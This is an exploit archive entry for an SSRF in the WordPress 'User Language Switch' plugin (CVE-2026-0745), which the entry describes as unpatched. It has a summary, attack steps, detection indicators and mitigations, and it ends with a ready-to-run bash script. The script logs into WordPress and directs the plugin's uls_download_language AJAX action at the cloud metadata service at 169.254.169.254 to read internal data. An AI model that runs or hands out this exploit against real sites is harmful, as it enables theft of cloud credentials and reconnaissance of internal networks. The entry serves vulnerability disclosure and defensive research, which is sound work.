PoC Archive PoC Archive
Medium CVE-2026-0745 (GHSA-m38c-5p3m-p7gm) unpatched

WordPress User Language Switch Plugin SSRF — CVE-2026-0745

by HORKimhab · 2026-07-05

Severity
Medium
CVE
CVE-2026-0745 (GHSA-m38c-5p3m-p7gm)
Category
web
Affected product
WordPress "User Language Switch" plugin
Affected versions
Version range not specified in source; see GHSA-m38c-5p3m-p7gm for affected versions
Disclosed
2026-07-05
Patch status
unpatched

Archive entry

intelseclab/poc-archive

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherHORKimhab
CVE / AdvisoryCVE-2026-0745 (GHSA-m38c-5p3m-p7gm)
Categoryweb
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagswordpress, ssrf, plugin-vulnerability, admin-ajax, cwe-918, metadata-endpoint
RelatedN/A

Affected Target

FieldValue
Software / SystemWordPress “User Language Switch” plugin
Versions AffectedVersion range not specified in source; see GHSA-m38c-5p3m-p7gm for affected versions
Language / PlatformBash (curl) targeting WordPress wp-admin/admin-ajax.php
Authentication RequiredYes (authenticated WordPress user/admin session)
Network Access RequiredYes

Summary

The User Language Switch WordPress plugin exposes an uls_download_language AJAX action that accepts a caller-supplied URL (info_language) and fetches it server-side to download a language file. The endpoint does not validate or restrict the destination, allowing an authenticated user to redirect the server-side request to arbitrary internal or cloud-metadata endpoints (classic SSRF, CWE-918). The included PoC logs into a target WordPress instance, then submits an uls_download_language request pointed at the AWS/cloud instance metadata service (169.254.169.254) and prints the raw server response, demonstrating that the plugin fetches and returns content from the attacker-chosen URL.

Vulnerability Details

Root Cause

The uls_download_language handler passes the user-supplied info_language parameter directly to a server-side HTTP fetch without validating the destination host/scheme, enabling Server-Side Request Forgery.

Attack Vector

  1. Authenticate to the target WordPress site (valid credentials required).
  2. Send a POST request to wp-admin/admin-ajax.php with action=uls_download_language and info_language set to an internal or cloud-metadata URL (e.g., http://169.254.169.254/latest/meta-data/).
  3. The plugin’s server-side code fetches the attacker-specified URL and returns (or reflects) the response.
  4. Inspect the response for sensitive internal data (e.g., cloud credentials, internal service banners).

Impact

Server-side request forgery enabling reconnaissance and potential credential theft from internal services or cloud instance metadata endpoints, from an authenticated but otherwise low-privilege context.

Environment / Lab Setup

Target:   WordPress instance with a vulnerable version of the User Language Switch plugin active
Attacker: bash + curl, valid WordPress credentials for the target site

Proof of Concept

PoC Script

See poc-uls-ssrf.sh in this folder.

1

./poc-uls-ssrf.sh

The script logs into WordPress via wp-login.php using credentials configured at the top of the file, confirms a valid session cookie was obtained, then issues the SSRF-triggering uls_download_language request (defaulting to the AWS metadata endpoint) and prints the first 800 bytes of the server’s response for inspection.

Detection & Indicators of Compromise

Signs of compromise:

  • Outbound requests from the WordPress host to internal-only or metadata IP ranges shortly after plugin AJAX calls
  • Unusual response payloads containing cloud metadata/credentials logged in plugin activity
  • Authenticated user accounts making repeated uls_download_language requests with varying target URLs

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — check the plugin changelog against GHSA-m38c-5p3m-p7gm for a fixed release
Interim mitigationDisable the language-download feature, restrict outbound server requests via an egress allowlist/firewall, and block requests to link-local/metadata address ranges from the web server

References

Notes

Mirrored from https://github.com/HORKimhab/CVE-2026-0745 on 2026-07-05.

poc-uls-ssrf.sh
bash raw GitHub ↓ Download
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

#!/usr/bin/env bash
# =====================================================
# POC - User Language Switch Plugin SSRF (GHSA-m38c-5p3m-p7gm)
# Version: 1.0
# Purpose: Educational & Local Testing Only
# =====================================================

set -euo pipefail

# ===================== CONFIG =====================
WP_URL="http://localhost:8080"                    # Change to your WordPress URL
USERNAME="admin"
PASSWORD="yourpassword123"                         # Change this!
TARGET_URL="http://169.254.169.254/latest/meta-data/"  # Test target
# ==================================================

echo "=== User Language Switch SSRF POC ==="
echo "Target WP : $WP_URL"
echo "SSRF Target: $TARGET_URL"
echo "========================================="

# Create temporary cookie jar
COOKIE_JAR=$(mktemp)

# 1. Login
echo "[+] Logging in as $USERNAME..."
curl -s -c "$COOKIE_JAR" \
    -d "log=$USERNAME" \
    -d "pwd=$PASSWORD" \
    -d "wp-submit=Log+In" \
    "$WP_URL/wp-login.php" > /dev/null

# Check if login was successful
if grep -q "wordpress_logged_in" "$COOKIE_JAR" || grep -q "wp-admin" "$COOKIE_JAR"; then
    echo "✅ Login successful"
else
    echo "❌ Login failed! Check URL, username and password."
    rm -f "$COOKIE_JAR"
    exit 1
fi

# 2. Trigger SSRF
echo "[+] Sending SSRF request..."
RESPONSE=$(curl -s -b "$COOKIE_JAR" \
    -H "Referer: $WP_URL/wp-admin/options-general.php?page=user-language-switch" \
    -d "action=uls_download_language" \
    -d "info_language=$TARGET_URL" \
    "$WP_URL/wp-admin/admin-ajax.php")

echo "[+] Server Response:"
echo "-----------------------------------------"
echo "$RESPONSE" | head -c 800
echo -e "\n-----------------------------------------"

# Cleanup
rm -f "$COOKIE_JAR"
echo "=== POC Finished ==="